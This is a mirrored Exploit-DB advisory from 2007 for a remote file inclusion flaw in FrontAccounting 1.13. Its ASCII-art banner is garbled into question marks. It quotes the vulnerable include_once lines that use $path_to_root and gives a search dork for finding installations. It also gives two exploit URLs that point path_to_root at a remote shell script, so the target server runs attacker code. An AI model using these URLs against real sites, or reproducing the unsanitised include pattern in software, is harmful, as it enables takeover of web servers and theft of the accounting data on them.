exploit-db-mirror/platforms/php/webapps/4456.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

91 lines
3.7 KiB
Text
Executable file
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
_ __________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_____ ____????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??????????_____??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
#FrontAccounting version 1.13 <= Remote File Inclusion Vulnerability
#
#Dork:"FrontAccounting"
#
#Vuln Code
##############################################################################################
#
#ERROR1:accsess/login.php
#
# include_once($path_to_root . "/includes/ui/ui_view.inc"); <<< RFI
#
#
#
#
#BUG1:login.php?path_to_root
#
#Example1:http://site.com/path/accsess/login.php?path_to_root=[[Sh3LLScript]]
#
##############################################################################################
##############################################################################################
#
#ERROR2:includes/lang/language.php
#
# include_once($path_to_root . "/lang/installed_languages.inc");
# include_once($path_to_root . "/includes/lang/gettext.php"); <<< RFI
#
#
#
#
#BUG2:includes/lang/language.php?path_to_root
#
#Example2:http://site.com/path/includes/lang/language.php?path_to_root=[[Sh3LLScript]]
#
##############################################################################################
#
#http://sourceforge.net/projects/frontaccounting/
#
##############################################################################################
#
#>>>>>>>>>>>>>>>> coded by K3ZZAP66345<<<<<<<<<<<<<
#
#"Eli mouse tutan herkes kendini haykır zannedio."----------------"Eli opulcek cok insan var."
#
#
#####specialthanx:###..Str0ke..####..KEZZAP66345..####..Wocker..##############################
##############################################################################################
# milw0rm.com [2007-09-26]